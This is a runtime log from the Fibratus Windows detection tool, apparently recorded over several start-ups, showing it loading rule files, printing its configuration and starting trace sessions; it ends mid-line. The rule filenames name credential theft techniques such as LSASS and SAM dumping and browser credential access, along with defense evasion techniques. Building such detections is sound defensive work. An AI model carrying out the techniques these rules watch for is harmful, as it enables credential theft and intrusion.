level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-12T17:31:53+01:00 level=info msg=bootstrapping with pid 12852. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-12T17:31:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ stack-enrichment=>true max-buffers=>36 flush-interval=>1s enable-vamap=>true enable-thread=>true enable-image=>true buffer-size=>512 enable-mem=>false enable-net=>true min-buffers=>16 enable-fileio=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-dns=>false enable-registry=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 formatter=>text max-age=>0 max-size=>100] + output ......................... [ http=>[ timeout=>5s enabled=>false serializer=>json endpoints=>[] method=>POST tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ routing-key=>fibratus delivery-mode=>transient passive=>false enabled=>false vhost=>/ exchange=>fibratus timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false flush-period=>1s healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 template-name=>fibratus index-name=>fibratus timeout=>5s trace-log=>false sniff=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-mmaps=>false skip-files=>false enabled=>false fastscan=>true excluded-files=>[] skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-12T17:31:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:31:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:32:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-12T17:32:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:32:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:36:55+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_executable_file_run_via_shortcut.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:36:55+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-12T17:36:55+01:00 level=info msg=bootstrapping with pid 6792. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-12T17:36:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true flush-interval=>1s enable-dns=>false buffer-size=>512 enable-handle=>false max-buffers=>36 enable-mem=>false min-buffers=>16 stack-enrichment=>true enable-fileio=>true enable-net=>true enable-threadpool=>false enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-vamap=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-age=>0 max-size=>100 max-backups=>15 level=>info] + output ......................... [ amqp=>[ durable=>false vhost=>/ timeout=>5s delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 enabled=>false exchange-type=>topic passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus] elasticsearch=>[ timeout=>5s healthcheck=>true trace-log=>false gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1 enabled=>false sniff=>false template-name=>fibratus flush-period=>1s healthcheck-timeout=>5s index-name=>fibratus] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json enable-gzip=>false timeout=>5s method=>POST endpoints=>[] tls-insecure-skip-verify=>false enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-registry=>false skip-allocs=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false scan-timeout=>10s skip-mmaps=>false enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-12T17:36:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:36:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:37:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-12T17:37:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:37:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:44:04+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-12T17:44:04+01:00 level=info msg=loading rule from 